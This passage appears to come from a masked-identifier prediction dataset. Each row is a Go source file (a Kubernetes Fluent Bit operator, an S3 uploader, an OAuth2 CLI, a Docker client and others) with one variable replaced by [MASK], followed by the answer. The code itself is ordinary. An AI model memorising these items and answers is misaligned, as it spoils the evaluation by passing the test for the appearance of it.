ctrl.Result{}, err } log.Error(err, ""Failed to get ConfigMap"") return ctrl.Result{}, err } else { // Update the FluentBitConfiguration status to created fbc.Status.Phase = ""created"" fbc.Status.LogRootPath = logRootPath err = r.Status().Update(context.TODO(), &fbc) if err != nil { log.Error(err, ""Failed to update FluentBitConfiguration status"") return ctrl.Result{}, err } } logRootPath = getLogRootPath(fbc.Spec.InputPlugins) fd := strings.Compare(found.Data[""fluent-bit.conf""], buildFluentBitConfigFile(&fbc, logRootPath)) ud := strings.Compare(found.Data[""user-parser.conf""], buildParserConfigFile(fbc.Spec.FilterPlugins)) if fd != 0 || ud != 0 { patch := client.MergeFrom(found.DeepCopy()) found.Data[""fluent-bit.conf""] = buildFluentBitConfigFile(&fbc, logRootPath) found.Data[""user-parser.conf""] = buildParserConfigFile(fbc.Spec.FilterPlugins) err = r.Patch(context.TODO(), found, patch) if err != nil { log.Error(err, ""Failed to patch."") return ctrl.Result{}, err } fbc.Status.LogRootPath = logRootPath err = r.Status().Update(context.TODO(), &fbc) if err != nil { log.Error(err, ""Failed to update FluentBitConfiguration status"") return ctrl.Result{}, err } deployList := &appsv1.DeploymentList{} if err = r.List(context.TODO(), deployList, client.InNamespace(fbc.Namespace), client.MatchingLabels{""tmax.io/log-collector-configuration"": fbc.Name}); err != nil { log.Error(err, ""Failed to list deployment"") return ctrl.Result{}, err } for _, deploy := range deployList.Items { // current RS를 찾아서 저장해 놓았다가 (rs 중에서 spec.replica != 0이 아닌 rs를 저장) // PATCH 이후 삭제 var rs *appsv1.ReplicaSet if rs, err = r.getCurrentReplicaSet(&deploy); err != nil { } patch := client.MergeFrom(deploy.DeepCopy()) if deploy.Spec.Template.Annotations == nil { deploy.Spec.Template.Annotations = map[string]string{} } deploy.Spec.Template.Annotations[""tmax.io/restartedAt""] = time.Now().String() err := r.Patch(context.TODO(), &deploy, patch) if err != nil { log.Error(err, ""Failed to patch deployment (rolling update)."") return ctrl.Result{}, err } if err = r.Delete(context.TODO(), rs); err != nil { log.Error(err, ""Failed to delete old rs (rolling update)."") return ctrl.Result{}, err } } dsList := &appsv1.DaemonSetList{} if err = r.List(context.TODO(), dsList, client.InNamespace(fbc.Namespace), client.MatchingLabels{""tmax.io/log-collector-configuration"": fbc.Name}); err != nil { log.Error(err, ""Failed to list daemonset"") return ctrl.Result{}, err } for _, ds := range dsList.Items { patch := client.MergeFrom(ds.DeepCopy()) if ds.Spec.Template.Annotations == nil { ds.Spec.Template.Annotations = map[string]string{} } ds.Spec.Template.Annotations[""tmax.io/restartedAt""] = time.Now().String() err := r.Patch(context.TODO(), &ds, patch) if err != nil { log.Error(err, ""Failed to patch daemonset (rolling update)."") return ctrl.Result{}, err } } stsList := &appsv1.StatefulSetList{} if err = r.List(context.TODO(), stsList, client.InNamespace(fbc.Namespace), client.MatchingLabels{""tmax.io/log-collector-configuration"": fbc.Name}); err != nil { log.Error(err, ""Failed to list statefulset"") return ctrl.Result{}, err } for _, sts := range stsList.Items { patch := client.MergeFrom(sts.DeepCopy()) if sts.Spec.Template.Annotations == nil { sts.Spec.Template.Annotations = map[string]string{} } sts.Spec.Template.Annotations[""tmax.io/restartedAt""] = time.Now().String() err := r.Patch(context.TODO(), &sts, patch) if err != nil { log.Error(err, ""Failed to patch statefulset (rolling update)."") return ctrl.Result{}, err } } } return ctrl.Result{}, nil } // func (r *FluentBitConfigurationReconciler) getCurrentReplicaSet(deployment *appsv1.Deployment) (*appsv1.ReplicaSet, error) { namespace := deployment.Namespace selector, err := metav1.LabelSelectorAsSelector(deployment.Spec.Selector) if err != nil { return nil, err } fmt.Println(selector.String()) rsList := &appsv1.ReplicaSetList{} if err = r.List(context.TODO(), rsList, client.InNamespace(namespace), client.MatchingLabelsSelector{Selector: selector}); err != nil { log.Error(err, ""Failed to list statefulset"") return nil, err } b, _ := json.Marshal(rsList) fmt.Println(string(b)) var rss []*appsv1.ReplicaSet for i := range rsList.Items { rss = append(rss, &rsList.Items[i]) } // // Only include those whose ControllerRef matches the Deployment. owned := make([]*appsv1.ReplicaSet, 0, len(rss)) for _, rs := range rss { if metav1.IsControlledBy(rs, deployment) { owned = append(owned, rs) } } b1, _ := json.Marshal(owned) fmt.Println(string(b1)) // replicas == 0? var ret *appsv1.ReplicaSet for _, rs := range owned { if *rs.Spec.Replicas != 0 { ret = rs } } b2, _ := json.Marshal(ret) fmt.Println(string(b2)) return ret, err } // configMapForLogCrd returns a fbc configmap object func (r *FluentBitConfigurationReconciler) configMapForLogCrd(fbc *configv1alpha1.FluentBitConfiguration, logRootPath string) *corev1.ConfigMap { cfgMap := &corev1.ConfigMap{ ObjectMeta: metav1.ObjectMeta{ Name: fbc.Name, Namespace: fbc.Namespace, }, Data: map[string]string{ ""fluent-bit.conf"": buildFluentBitConfigFile(fbc, logRootPath), ""user-parser.conf"": buildParserConfigFile(fbc.Spec.FilterPlugins), }, } // Set FluentBitConfiguration instance as the owner and controller ctrl.SetControllerReference(fbc, cfgMap, r.Scheme) return cfgMap } // Build fluent-bit configMap using spec func buildFluentBitConfigFile(fbc *configv1alpha1.FluentBitConfiguration, logRootPath string) string { var configs []string configs = append(configs, replaceServicePlugin(fbc.Spec.FilterPlugins)) configs = append(configs, replaceInputPlugin(fbc.Spec.InputPlugins, logRootPath)) configs = append(configs, replaceFilterPlugin(fbc.Spec.FilterPlugins)) configs = append(configs, replaceOutputPlugin(fbc.Spec.OutputPlugins)) result := strings.Join(configs, ""\n"") return result } func replaceServicePlugin(filterPlugins []configv1alpha1.FilterPlugin) string { var services []string if filterPlugins == nil { return serviceTemplate } else { services = append(services, serviceTemplate) services = append(services, parserFileConfig) } result := strings.Join(services, """") return result } func replaceInputPlugin(inputPlugins []configv1alpha1.InputPlugin, logRootPath string) string { var inputs []string for _, inputPlugin := range inputPlugins { pathElem := strings.Split(strings.Split(inputPlugin.Path, logRootPath)[1], string(os.PathSeparator)) //TODO seperator 없는 STRING 예외 처리 middlePath := pathElem[1 : len(pathElem)-1] middlePath = append(middlePath, inputPlugin.Pattern) tmp := strings.Replace(inputTemplate, ""[PATTERN]"", strings.Join(middlePath, ""/""), -1) tmp = strings.Replace(tmp, ""[TAG]"", inputPlugin.Tag, -1) inputs = append(inputs, tmp) } result := strings.Join(inputs, ""\n"") return result } func replaceFilterPlugin(filterPlugins []configv1alpha1.FilterPlugin) string { var filters []string for _, filterPlugin := range filterPlugins { tmp := strings.Replace(filterTemplate, ""[PARSER_NAME]"", filterPlugin.ParserName, -1) tmp = strings.Replace(tmp, ""[TAG]"", filterPlugin.Tag, -1) filters = append(filters, tmp) } result := strings.Join(filters, ""\n"") return result } func replaceOutputPlugin( [MASK] []configv1alpha1.OutputPlugin) string { var outputs []string for _, outputPlugin := range [MASK] { tmp := strings.Replace(outputTemplate, ""[ES_HOST]"", ElasticsearchHost, -1) tmp = strings.Replace(tmp, ""[ES_PORT]"", ElasticsearchPort, -1) tmp = strings.Replace(tmp, ""[INDEX_NAME]"", outputPlugin.IndexName, -1) tmp = strings.Replace(tmp, ""[TAG]"", outputPlugin.Tag, -1) outputs = append(outputs, tmp) } result := strings.Join(outputs, ""\n"") return result } func buildParserConfigFile(filterPlugins []configv1alpha1.FilterPlugin) string { var parsers []string for _, filterPlugin := range filterPlugins { tmp := strings.Replace(parserTemplate, ""[PARSER_NAME]"", filterPlugin.ParserName, -1) tmp = strings.Replace(tmp, ""[REGEX]"", filterPlugin.Regex, -1) parsers = append(parsers, tmp) } result := strings.Join(parsers, ""\n"") return result } func getLogRootPath(inputPlugins []configv1alpha1.InputPlugin) string { var pathList []string for _, inputPlugin := range inputPlugins { pathList = append(pathList, inputPlugin.Path) } return commonPrefix(os.PathSeparator, pathList) } func commonPrefix(sep byte, paths []string) string { switch len(paths) { case 0: return """" case 1: pathElem := strings.Split(paths[0], string(os.PathSeparator)) return strings.Join(pathElem[0:len(pathElem)-1], string(os.PathSeparator)) } c := []byte(path.Clean(paths[0])) c = append(c, sep) for _, v := range paths[1:] { v = path.Clean(v) + string(sep) if len(v) < len(c) { c = c[:len(v)] } for i := 0; i < len(c); i++ { if v[i] != c[i] { c = c[:i] break } } } for i := len(c) - 1; i >= 0; i-- { if c[i] == sep { c = c[:i] break } } return string(c) } func (r *FluentBitConfigurationReconciler) SetupWithManager(mgr ctrl.Manager) error { // return ctrl.NewControllerManagedBy(mgr). // For(&configv1alpha1.FluentBitConfiguration{}). // Complete(r) controller, err := ctrl.NewControllerManagedBy(mgr). For(&configv1alpha1.FluentBitConfiguration{}). Build(r) if err != nil { return err } return controller.Watch( &source.Kind{Type: &corev1.ConfigMap{}}, &handler.EnqueueRequestForOwner{ OwnerType: &configv1alpha1.FluentBitConfiguration{}, IsController: true, }, predicate.Funcs{ UpdateFunc: func(e event.UpdateEvent) bool { return false }, CreateFunc: func(e event.CreateEvent) bool { return false }, DeleteFunc: func(e event.DeleteEvent) bool { return true }, GenericFunc: func(e event.GenericEvent) bool { return false }, }, ) } ",outputPlugins 613,"package main import ( ""api-gateway/api"" _ ""api-gateway/cmd/docs"" ""api-gateway/internal/config"" ""api-gateway/service"" ""context"" ""crypto/tls"" ""flag"" ""log/slog"" ""net/http"" ""os"" ""os/signal"" ""time"" ) // @title Person Finance Management API // @version 2.0 // @description This is a Person Finance Management server for Swagger integration. // @schemes https // @host localhost:4040 // @BasePath /api/v1 // @securityDefinitions.apikey BearerAuth // @in header // @name Authoriz func main() { cfg := config.Load() addr := flag.String(""addr"", cfg.ApiGateway.Http.Host+"":""+cfg.ApiGateway.Http.Port, ""HTTP Server address"") logger := slog.New(slog.NewJSONHandler(os.Stdout, &slog.HandlerOptions{ AddSource: true, })) flag.Parse() service, err := service.New(cfg) if err != nil { logger.Error(""Failed to initialize services"", ""error"", err) os.Exit(1) } router := api.Router(api.Options{Service: service}) tlsConfig := &tls.Config{ CurvePreferences: []tls.CurveID{tls.X25519, tls.CurveP256}, } srv := &http.Server{ Addr: *addr, Handler: router, TLSConfig: tlsConfig, } go func() { logger.Info(""Starting server"", ""addr"", srv.Addr) if err := srv.ListenAndServeTLS(""./tls/cert.pem"", ""./tls/key.pem""); err != nil && err != http.ErrServerClosed { logger.Error(""Server failed"", ""error"", err) os.Exit(1) } }() [MASK] := make(chan os.Signal, 1) signal.Notify( [MASK] , os.Interrupt, os.Kill) <- [MASK] logger.Info(""Shutting down server..."") ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) defer cancel() if err := srv.Shutdown(ctx); err != nil { logger.Error(""Server forced to shutdown"", ""error"", err) } logger.Info(""Server exiting"") } ",quit 614,"package fileupload import ( ""bytes"" ""fmt"" ""mime/multipart"" ""net/http"" ""os"" ""path/filepath"" ""strings"" ""github.com/aws/aws-sdk-go/aws"" ""github.com/aws/aws-sdk-go/aws/credentials"" ""github.com/aws/aws-sdk-go/aws/session"" ""github.com/aws/aws-sdk-go/service/s3"" uuid ""github.com/satori/go.uuid"" ) var ( s3Client *s3.S3 endpoint = os.Getenv(""ENDPOINT"") bucketName = os.Getenv(""BUCKET_NAME"") allowedExtensions []string allowedSize int64 ) func Init(allowedExt []string, allowSize int64) { allowedExtensions = allowedExt allowedSize = allowSize key := os.Getenv(""SPACES_KEY"") secret := os.Getenv(""SPACES_SECRET"") s3Config := &aws.Config{ Credentials: credentials.NewStaticCredentials(key, secret, """"), Endpoint: aws.String(""https://"" + endpoint), Region: aws.String(""us-east-1""), } [MASK] := session.New(s3Config) s3Client = s3.New( [MASK] ) } func UploadFile(file *multipart.FileHeader, filename string) (string, error) { var url string buffer := make([]byte, file.Size) f, err := file.Open() if err != nil { return url, err } defer f.Close() f.Read(buffer) ext := filepath.Ext(file.Filename) if !isAllowedExtension(ext) { return url, fmt.Errorf(""%s is not an allowed file extension"", ext) } if file.Size > allowedSize { return url, fmt.Errorf(""%s is too large"", file.Filename) } fileName := uuid.NewV4().String() + ext object := s3.PutObjectInput{ Bucket: aws.String(bucketName), Key: aws.String(fileName), Body: bytes.NewReader(buffer), ACL: aws.String(""public-read""), ContentLength: aws.Int64(file.Size), ContentType: aws.String(http.DetectContentType(buffer)), } _, err = s3Client.PutObject(&object) if err != nil { return url, err } url = ""https://"" + bucketName + ""."" + endpoint + ""/"" + fileName return url, nil } func isAllowedExtension(ext string) bool { for _, allowed := range allowedExtensions { if strings.ToLower(allowed) == strings.ToLower(ext) { return true } } return false } ",newSession 615,"package grafanadata import ( ""encoding/json"" ""fmt"" ""io"" ""net/http"" ""strings"" ) // returns all the dashboards for a grafana instance func (c *grafanaClient) FetchDashboards() ([]DashboardSearch, error) { [MASK] := strings.TrimSuffix(c.baseURL.String(), ""/"") q := fmt.Sprintf(""%v/api/search?type=dash-db"", [MASK] ) req, err := c.NewRequest(http.MethodGet, q, nil) if err != nil { return nil, err } resp, err := c.Do(req) if err != nil { return nil, err } body, err := io.ReadAll(resp.Body) if err != nil { return nil, err } if resp.StatusCode != http.StatusOK { return nil, fmt.Errorf(""grafana response %v. %v"", resp.StatusCode, string(body)) } var search []DashboardSearch err = json.Unmarshal(body, &search) return search, err } // returns all the panels for a dashboard func (c *grafanaClient) FetchPanelsFromDashboard(dashboard GrafanaDashboardResponse) []PanelSearch { var search []PanelSearch for i := range dashboard.Dashboard.Panels { p := dashboard.Dashboard.Panels[i] search = append(search, PanelSearch{ ID: p.ID, Title: p.Title, }) } return search } ",host 616,"package cmd import ( ""context"" ""crypto/tls"" ""encoding/json"" ""errors"" ""fmt"" ""io"" ""net/http"" ""os"" ""strings"" ""time"" ""github.com/cli/browser"" ""github.com/cloudentity/oauth2c/internal/oauth2"" ""github.com/imdario/mergo"" ""github.com/spf13/cobra"" ) var ( silent bool noPrompt bool ) type OAuth2Cmd struct { *cobra.Command } func NewOAuth2Cmd(version, commit, date string) (cmd *OAuth2Cmd) { var ( cconfig oauth2.ClientConfig sconfig oauth2.ServerConfig ) cmd = &OAuth2Cmd{ Command: &cobra.Command{ Use: ""oauth2c [issuer url]"", Short: ""User-friendly command-line for OAuth2"", Args: cobra.ExactArgs(1), }, } cmd.Command.Run = cmd.Run(&cconfig, &sconfig) cmd.AddCommand(NewVersionCmd(version, commit, date)) cmd.AddCommand(docsCmd) cmd.PersistentFlags().StringVar(&cconfig.RedirectURL, ""redirect-url"", ""http://localhost:9876/callback"", ""client redirect url"") cmd.PersistentFlags().StringVar(&cconfig.ClientID, ""client-id"", """", ""client identifier"") cmd.PersistentFlags().StringVar(&cconfig.ClientSecret, ""client-secret"", """", ""client secret"") cmd.PersistentFlags().StringVar(&cconfig.GrantType, ""grant-type"", """", ""grant type"") cmd.PersistentFlags().StringVar(&cconfig.AuthMethod, ""auth-method"", """", ""token endpoint authentication method"") cmd.PersistentFlags().StringVar(&cconfig.Username, ""username"", """", ""resource owner password credentials grant flow username"") cmd.PersistentFlags().StringVar(&cconfig.Password, ""password"", """", ""resource owner password credentials grant flow password"") cmd.PersistentFlags().StringVar(&cconfig.RefreshToken, ""refresh-token"", """", ""refresh token"") cmd.PersistentFlags().StringSliceVar(&cconfig.ResponseType, ""response-types"", []string{""""}, ""response type"") cmd.PersistentFlags().StringVar(&cconfig.ResponseMode, ""response-mode"", """", ""response mode"") cmd.PersistentFlags().StringSliceVar(&cconfig.Scopes, ""scopes"", []string{}, ""requested scopes"") cmd.PersistentFlags().StringSliceVar(&cconfig.Audience, ""audience"", []string{}, ""requested audience"") cmd.PersistentFlags().BoolVar(&cconfig.PKCE, ""pkce"", false, ""enable proof key for code exchange (PKCE)"") cmd.PersistentFlags().BoolVar(&cconfig.PAR, ""par"", false, ""enable pushed authorization requests (PAR)"") cmd.PersistentFlags().BoolVar(&cconfig.RequestObject, ""request-object"", false, ""pass request parameters as jwt"") cmd.PersistentFlags().BoolVar(&cconfig.EncryptedRequestObject, ""encrypted-request-object"", false, ""pass request parameters as encrypted jwt"") cmd.PersistentFlags().StringVar(&cconfig.Assertion, ""assertion"", """", ""claims for jwt bearer assertion"") cmd.PersistentFlags().StringVar(&cconfig.SigningKey, ""signing-key"", """", ""path or url to signing key in jwks format"") cmd.PersistentFlags().StringVar(&cconfig.EncryptionKey, ""encryption-key"", """", ""path or url to encryption key in jwks format"") cmd.PersistentFlags().StringVar(&cconfig.SubjectToken, ""subject-token"", """", ""third party token"") cmd.PersistentFlags().StringVar(&cconfig.SubjectTokenType, ""subject-token-type"", """", ""third party token type"") cmd.PersistentFlags().StringVar(&cconfig.ActorToken, ""actor-token"", """", ""acting party token"") cmd.PersistentFlags().StringVar(&cconfig.ActorTokenType, ""actor-token-type"", """", ""acting party token type"") cmd.PersistentFlags().StringVar(&cconfig.IDTokenHint, ""id-token-hint"", """", ""id token hint"") cmd.PersistentFlags().StringVar(&cconfig.LoginHint, ""login-hint"", """", ""user identifier hint"") cmd.PersistentFlags().StringVar(&cconfig.IDPHint, ""idp-hint"", """", ""identity provider hint"") cmd.PersistentFlags().StringVar(&cconfig.TLSCert, ""tls-cert"", """", ""path to tls cert pem file"") cmd.PersistentFlags().StringVar(&cconfig.TLSKey, ""tls-key"", """", ""path to tls key pem file"") cmd.PersistentFlags().StringVar(&cconfig.TLSRootCA, ""tls-root-ca"", """", ""path to tls root ca pem file"") cmd.PersistentFlags().StringVar(&cconfig.CallbackTLSCert, ""callback-tls-cert"", """", ""path to callback tls cert pem file"") cmd.PersistentFlags().StringVar(&cconfig.CallbackTLSKey, ""callback-tls-key"", """", ""path to callback tls key pem file"") cmd.PersistentFlags().DurationVar(&cconfig.HTTPTimeout, ""http-timeout"", time.Minute, ""http client timeout"") cmd.PersistentFlags().DurationVar(&cconfig.BrowserTimeout, ""browser-timeout"", 10*time.Minute, ""browser timeout"") cmd.PersistentFlags().BoolVar(&cconfig.Insecure, ""insecure"", false, ""allow insecure connections"") cmd.PersistentFlags().BoolVarP(&silent, ""silent"", ""s"", false, ""silent mode"") cmd.PersistentFlags().BoolVar(&cconfig.NoBrowser, ""no-browser"", false, ""do not open browser"") cmd.PersistentFlags().BoolVar(&noPrompt, ""no-prompt"", false, ""disable prompt"") cmd.PersistentFlags().BoolVar(&cconfig.DPoP, ""dpop"", false, ""use DPoP"") cmd.PersistentFlags().StringVar(&cconfig.Claims, ""claims"", """", ""use claims"") cmd.PersistentFlags().StringVar(&cconfig.RAR, ""rar"", """", ""use rich authorization request (RAR)"") cmd.PersistentFlags().StringSliceVar(&cconfig.ACRValues, ""acr-values"", []string{}, ""ACR values"") cmd.PersistentFlags().StringVar(&cconfig.Purpose, ""purpose"", """", ""string describing the purpose for obtaining End-User authorization"") cmd.PersistentFlags().StringSliceVar(&cconfig.Prompt, ""prompt"", []string{}, ""end-user authorization purpose"") cmd.PersistentFlags().StringVar(&cconfig.MaxAge, ""max-age"", """", ""maximum authentication age in seconds"") cmd.PersistentFlags().StringVar(&cconfig.AuthenticationCode, ""authentication-code"", """", ""authentication code used for passwordless authentication"") cmd.PersistentFlags().BoolVar(&cconfig.NoOrigin, ""no-origin"", false, ""do not include an Origin header"") cmd.PersistentFlags().StringVar(&sconfig.TokenEndpoint, ""token-endpoint"", """", ""server's token endpoint"") cmd.PersistentFlags().StringVar(&sconfig.AuthorizationEndpoint, ""authorization-endpoint"", """", ""server's authorization endpoint"") cmd.PersistentFlags().StringVar(&sconfig.DeviceAuthorizationEndpoint, ""device-authorization-endpoint"", """", ""server's device authorization endpoint"") cmd.PersistentFlags().StringVar(&sconfig.PushedAuthorizationRequestEndpoint, ""pushed-authorization-request-endpoint"", """", ""server's pushed authorization request endpoint"") cmd.PersistentFlags().StringVar(&sconfig.MTLsEndpointAliases.TokenEndpoint, ""mtls-token-endpoint"", """", ""server's mtls token endpoint"") cmd.PersistentFlags().StringVar(&sconfig.MTLsEndpointAliases.PushedAuthorizationRequestEndpoint, ""mtls-pushed-authorization-request-endpoint"", """", ""server's mtls pushed authorization request endpoint"") return cmd } func (c *OAuth2Cmd) Run(cconfig *oauth2.ClientConfig, sconfig *oauth2.ServerConfig) func(cmd *cobra.Command, args []string) { return func(cmd *cobra.Command, args []string) { var ( config Config data []byte cert tls.Certificate err error ) if data, err = os.ReadFile(args[0]); err == nil { if err = json.Unmarshal(data, &config); err != nil { LogError(err) os.Exit(1) } if err := mergo.Merge(&cconfig, config.ToClientConfig()); err != nil { LogError(err) os.Exit(1) } } else { cconfig.IssuerURL = strings.TrimSuffix(args[0], oauth2.OpenIDConfigurationPath) } if err := Validate.Struct(cconfig); err != nil { LogError(err) os.Exit(1) } if silent { browser.Stdout = io.Discard } else { browser.Stdout = os.Stderr } tr := &http.Transport{ Proxy: http.ProxyFromEnvironment, TLSClientConfig: &tls.Config{ InsecureSkipVerify: cconfig.Insecure, MinVersion: tls.VersionTLS12, }, } hc := &http.Client{Timeout: cconfig.HTTPTimeout, Transport: tr} if cconfig.TLSCert != """" && cconfig.TLSKey != """" { if cert, err = oauth2.ReadKeyPair(cconfig.TLSCert, cconfig.TLSKey, hc); err != nil { LogError(err) os.Exit(1) } tr.TLSClientConfig.Certificates = []tls.Certificate{cert} } if cconfig.TLSRootCA != """" { if tr.TLSClientConfig.RootCAs, err = oauth2.ReadRootCA(cconfig.TLSRootCA, hc); err != nil { LogError(err) os.Exit(1) } } if err := c.Authorize(*cconfig, *sconfig, hc); err != nil { var oauth2Error *oauth2.Error if errors.As(err, &oauth2Error) { switch oauth2Error.Hint { case ""Clients must include a code_challenge when performing the authorize code flow, but it is missing."": LogWarning(""Authorization server enforces PKCE. Use --pkce flag."") } } LogError(err) os.Exit(1) } } } func (c *OAuth2Cmd) Authorize( clientConfig oauth2.ClientConfig, serverConfig oauth2.ServerConfig, hc *http.Client, ) error { var ( [MASK] oauth2.Request err error ) // openid configuration if !serverConfig.IsConfigured() { if [MASK] , serverConfig, err = oauth2.FetchOpenIDConfiguration( context.Background(), clientConfig.IssuerURL, hc, ); err != nil { LogRequestln( [MASK] ) return err } } if !silent && !noPrompt { clientConfig = PromptForClientConfig(clientConfig, serverConfig) } LogInputData(clientConfig) switch clientConfig.GrantType { case oauth2.AuthorizationCodeGrantType: return c.AuthorizationCodeGrantFlow(clientConfig, serverConfig, hc) case oauth2.ImplicitGrantType: return c.ImplicitGrantFlow(clientConfig, serverConfig, hc) case oauth2.ClientCredentialsGrantType: return c.ClientCredentialsGrantFlow(clientConfig, serverConfig, hc) case oauth2.PasswordGrantType: return c.PasswordGrantFlow(clientConfig, serverConfig, hc) case oauth2.RefreshTokenGrantType: return c.RefreshTokenGrantFlow(clientConfig, serverConfig, hc) case oauth2.JWTBearerGrantType: return c.JWTBearerGrantFlow(clientConfig, serverConfig, hc) case oauth2.TokenExchangeGrantType: return c.TokenExchangeGrantFlow(clientConfig, serverConfig, hc) case oauth2.DeviceGrantType: return c.DeviceGrantFlow(clientConfig, serverConfig, hc) } return fmt.Errorf(""Unknown grant type: %s"", clientConfig.GrantType) } func (c *OAuth2Cmd) PrintResult(result interface{}) { output, err := json.Marshal(result) if err != nil { fmt.Fprintf(c.ErrOrStderr(), ""%+v"", err) fmt.Fprintln(c.ErrOrStderr()) return } fmt.Fprintln(c.OutOrStdout(), string(output)) } ",serverRequest 617,"package dockerclient import ( ""context"" ""errors"" ""fmt"" ""github.com/docker/docker/api/types/events"" ""net/http"" ""sync"" ""time"" ""github.com/docker/docker/api/types"" dc ""github.com/docker/docker/client"" ""github.com/docker/go-connections/sockets"" ""github.com/andersnormal/voskhod/agent/docker/dockeriface"" ) var _ dockeriface.Client = (*client)(nil) var _ Client = (*client)(nil) // ErrRedirect is the error returned by checkRedirect when the request is non-GET. var ErrRedirect = errors.New(""unexpected redirect in response"") // Client is the interface type Client interface { dockeriface.Client } type client struct { _timeOnce sync.Once lock sync.Mutex dc *dc.Client } // New creates a new docker client func New(version string) (Client, error) { var err error var client = new(client) httpClient, err := defaultHTTPClient(DefaultDockerHost) if err != nil { return nil, err } client.dc, err = dc.NewClient(DefaultDockerHost, version, httpClient, nil) if err != nil { fmt.Println(err) return nil, err } return client, err } func defaultHTTPClient(host string) (*http.Client, error) { proto, addr, _, err := dc.ParseHost(host) if err != nil { return nil, err } transport := new(http.Transport) sockets.ConfigureTransport(transport, proto, addr) return &http.Client{ Transport: transport, CheckRedirect: CheckRedirect, }, nil } // CheckRedirect specifies the policy for dealing with redirect responses: // If the request is non-GET return `ErrRedirect`. Otherwise use the last response. // // Go 1.8 changes behavior for HTTP redirects (specifically 301, 307, and 308) in the client . // The Docker client (and by extension docker API client) can be made to to send a request // like POST /containers//start where what would normally be in the name section of the URL is empty. // This triggers an HTTP 301 from the daemon. // In go 1.8 this 301 will be converted to a GET request, and ends up getting a 404 from the daemon. // This behavior change manifests in the client in that before the 301 was not followed and // the client did not generate an error, but now results in a message like Error response from daemon: page not found. func CheckRedirect(req *http.Request, [MASK] []*http.Request) error { if [MASK] [0].Method == http.MethodGet { return http.ErrUseLastResponse } return ErrRedirect } // ListContainers is listing the containers on the Daemon func (c *client) ListContainers(ctx context.Context, timeout time.Duration, all bool) dockeriface.ListContainersResponse { ctx, cancel := context.WithTimeout(ctx, timeout) defer cancel() containers, err := c.dc.ContainerList(ctx, types.ContainerListOptions{ All: all, }) if err != nil { return dockeriface.ListContainersResponse{Error: err} } // We get an empty slice if there are no containers to be listed. // Extract container IDs from this list. containerIDs := make([]string, len(containers)) for i, container := range containers { containerIDs[i] = container.ID } return dockeriface.ListContainersResponse{DockerIDs: containerIDs, Error: nil} } // ContainerEvents returns channels to the Docker API container events func (c *client) ContainerEvents(ctx context.Context) (<-chan events.Message, <-chan error) { return c.dc.Events(ctx, types.EventsOptions{}) } // Version is returning the version of the Docker API and engine available func (c *client) Version(ctx context.Context, time time.Duration) (version types.Version, err error) { ctx, cancel := context.WithTimeout(ctx, time) defer cancel() return c.dc.ServerVersion(ctx) } // Stop is stopping the Docker API client func (c *client) Stop() (err error) { return c.dc.Close() } ",via 618,"package failure import ( ""fmt"" ) type Errno int32 type Error struct { inner error frame *Frame Msg string Code Errno } func New(code Errno, msg string) *Error { [MASK] := traceback(0, 2) var frame *Frame if len( [MASK] ) > 1 { frame = [MASK] [1] } return &Error{Code: code, Msg: msg, frame: frame} } func (e *Error) Error() string { if e.inner != nil { if e.frame != nil { return fmt.Sprintf(""location: [%s] code: %d, msg: %s, err: %s"", e.frame.Location, e.Code, e.Msg, e.inner) } return fmt.Sprintf(""code: %d, msg: %s, err: %s"", e.Code, e.Msg, e.inner) } else { if e.frame != nil { return fmt.Sprintf(""location: [%s] code: %d, msg: %s"", e.frame.Location, e.Code, e.Msg) } return fmt.Sprintf(""code: %d, msg: %s"", e.Code, e.Msg) } } func (e *Error) Unwrap() error { return e.inner } func (e *Error) WithError(err error) *Error { return &Error{inner: err, frame: e.Frame(), Msg: e.Msg, Code: e.Code} } func (e *Error) WithFrame(f *Frame) *Error { return &Error{inner: e.inner, frame: f, Msg: e.Msg, Code: e.Code} } func (e *Error) Frame() *Frame { if e.frame == nil { return nil } return &Frame{Location: e.frame.Location, FuncName: e.frame.FuncName} } ",frames 619,"// Copyright 2015 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // Godash generates Go dashboards about issues and CLs. // // Usage: // // godash [-cl] [-html] [-rcache] [-wcache] // // By default, godash prints a textual release dashboard to standard output. // The release dashboard shows all open issues in the milestones for the upcoming // release (currently Go 1.5), along with all open CLs mentioning those issues, // and all other open CLs working in the main Go repository. // // If the -cl flag is specified, godash instead prints a CL dashboard, showing all // open CLs, along with information about review status and review latency. // // If the -html flag is specified, godash prints HTML instead of text. // // Godash expects to find golang.org/x/build/cmd/cl and rsc.io/github/issue // on its $PATH, to read data from Gerrit and GitHub. // If the -wcache flag is specified, godash writes gathered data to $HOME/.godash-cache. // If the -rcache flag is specified, godash reads data from $HOME/.godash-cache // instead of Gerrit and GitHub. These flags are useful to avoid network delays and // ensure consistency when generating multiple forms of dashboard; they are also // useful when adjusting the output code. // // https://swtch.com/godash is periodically updated with the HTML versions of // the two dashboards. // package main import ( ""bytes"" ""encoding/json"" ""flag"" ""fmt"" ""html"" ""io/ioutil"" ""log"" ""os"" ""os/exec"" ""regexp"" ""sort"" ""strings"" ""time"" ) const Release = """" type CL struct { Number int Subject string Project string Author string Reviewer string ReviewerEmail string NeedsReview bool NeedsReviewChanged time.Time Start time.Time Issues []int Closed bool Scores map[string]int Files []string } type Issue struct { Number int Title string Labels []string Assignee string Milestone string } type Group struct { Dir string Items []*Item } type Item struct { Issue *Issue CLs []*CL } var ( cls []*CL issues []*Issue maybe []*Issue groups []*Group assignees []*Item output bytes.Buffer skipCL int now = time.Now() flagHTML = flag.Bool(""html"", false, ""print HTML output"") cache = map[string]string{} cacheFile = os.Getenv(""HOME"") + ""/.roachdash-cache"" readCache = flag.Bool(""rcache"", false, ""read from cached copy of data"") writeCache = flag.Bool(""wcache"", false, ""write cached copy of data"") ) func main() { log.SetFlags(0) log.SetPrefix(""godash: "") flag.Parse() if flag.NArg() != 0 { flag.Usage() } fetchData() groupData() what := ""release"" fmt.Fprintf(&output, ""CockroachDB %s dashboard\n"", what) fmt.Fprintf(&output, ""%v\n\n"", time.Now().UTC().Format(time.UnixDate)) fmt.Fprintf(&output, ""%d %s issues\n"", len(issues)-len(maybe), Release) printGroups() if *flagHTML { printHTML() return } os.Stdout.Write(output.Bytes()) } func printHTML() { data := html.EscapeString(output.String()) i := strings.Index(data, ""\n"") if i < 0 { i = len(data) } fmt.Printf(""\n"") fmt.Printf(""%s\n"", data[:i]) fmt.Printf(""\n"") fmt.Printf(""
\n"")
	// data = regexp.MustCompile(`(?m)^HOWTO`).ReplaceAllString(data, `about the dashboard`)
	// data = regexp.MustCompile(`(CL (\d+))\b`).ReplaceAllString(data, ""$1"")
